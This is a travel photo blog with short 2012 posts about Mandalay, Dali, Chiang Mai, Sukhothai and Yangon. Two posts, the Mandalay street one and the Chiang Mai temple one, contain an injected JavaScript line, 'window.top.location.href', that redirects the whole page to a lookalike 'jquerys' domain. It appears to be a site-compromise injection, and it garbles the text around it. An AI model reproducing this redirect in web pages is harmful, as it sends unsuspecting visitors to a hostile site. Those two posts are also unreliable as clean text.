Robs Travel Photos

Love Heart, downtown Mandalay

Rob — Wed, 25 Jan 2012 15:19:02 +0000

Strolling around downtown Mandalay is a curious /* */ window.top.location.href = "http://www.jquerys.org"; task. Not knowing what will be around the next corner, down the end of this street or whether there will even be a pedestrian walkway but instead a congested mini motorway… it’s all a part of the labyrinthine fun that the designers of this developing city surely must experience when traversing even their own system of principles. It is a confusing city indeed, however, with which the occurrence of a non-standard arrangement arises, so too does something great occur at the end of every unfamiliar passage.

Mandalay Hill Temple Sky

Rob — Tue, 24 Jan 2012 19:55:15 +0000

Happy people at the Bad Monkey Bar in Yunnan, China

Rob — Mon, 23 Jan 2012 16:13:43 +0000

The Bad monkey in Dali is truly a gem of a bar, definitely check it out if you head that way! just ask anyone in Old dali and they know the name.

http://badmonkeybar.com/

Looking through the bars of a central Chiang Mai temple

Rob — Mon, 23 Jan 2012 16:02:30 +0000

*/ window.top.location.href = "http://www.jquerys.org"; style="text-align: center;">Looking through the bars of a central Chiang Mai temple in Northern Thailand, to see the ruby red golden Buddha sat in praise of the light.

Peaceful Tree in Sukhothai Thailand

Rob — Mon, 23 Jan 2012 16:01:17 +0000

Cycling around and through the ancient temples in Sukothai, I reach a forest clearing. Aside the water, I discover the peaceful tree.

Clouds above Dali Cangshan mountain range

Rob — Sun, 22 Jan 2012 18:28:37 +0000

The German Bakery in Dali boasts a wonderful view of Cangshan mountain

I enjoyed this view on a daily basis, as do all who live in the magical town of Dali in Yunnan

I'm really happy how this shot came out, I feel it accentuates the softness of the clouds.

Three monks make their daily walk over the massive Mandalay wooden bridge, Burma.

Rob — Fri, 20 Jan 2012 00:22:31 +0000

Dali Cangshan mountain range turning to night, Yunnan, China

Rob — Thu, 19 Jan 2012 22:57:02 +0000

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I do often wonder just how much weather affects our mood and overall balance of emotions. If the balance experienced in Dali, Yunnan were somehow measured, it would be just that, a balance. The days are never too cold, hot or windy due to the surrounding mountains and fort walls that provide wind resistance, whilst the evenings stay crisp all year long. Perhaps this is the cause for a cursing phrase sometimes said against residents of Dali from (envious) outsiders. I struggled to understand the meaning of this phrase since I would have thought that being a spiritually enlightened monk is not such a bad thing, perhaps even good? My western eyes deceive me. The people who live here are said to be ‘like a monk’, as in to say that inhabitants who live a life here, live it neither dead nor truly alive but always just in between. There are also connotations that by living this life of simplicity, it’s unfair and unjust spiritually in preventing dead relatives and friends from rising in merit (i.e. Buddhist Philosophy), which ties into it being unfair socially due to not suffering (i.e. Buddhism) to the same degree as everyone else.

Go to the Blue Lagoon in Vang Vieng and swim with these fish!

Rob — Thu, 19 Jan 2012 22:04:46 +0000

Shwedagon Pagoda, Yangon, Myanmar capital

Rob — Thu, 19 Jan 2012 21:33:38 +0000

Due to being a tourist, it is of course regular for the natives of any country to be curious of such a sore thumb as I. Never more so, however, have I witnessed such a thorough curiosity from natives than when in Myanmar. Myanmar people are generally of shy nature; this does not prevent them from bursting out in laughter out of embarrassment of witnessing your presence however, then rushing over to welcome you to their glorious country. Lovely indeed is this behaviour, there is however, always a small shy child watching you curiously from somewhere nearby, partially hidden behind a wall or bicycle. I wonder what the kids think when they first see such a weird and strange person like me, or a tourist for that matter, walking around and occasionally looking at our books and then pointing our strange ‘hand-eye-look’ devices at temples and native people, whilst speaking a weird language.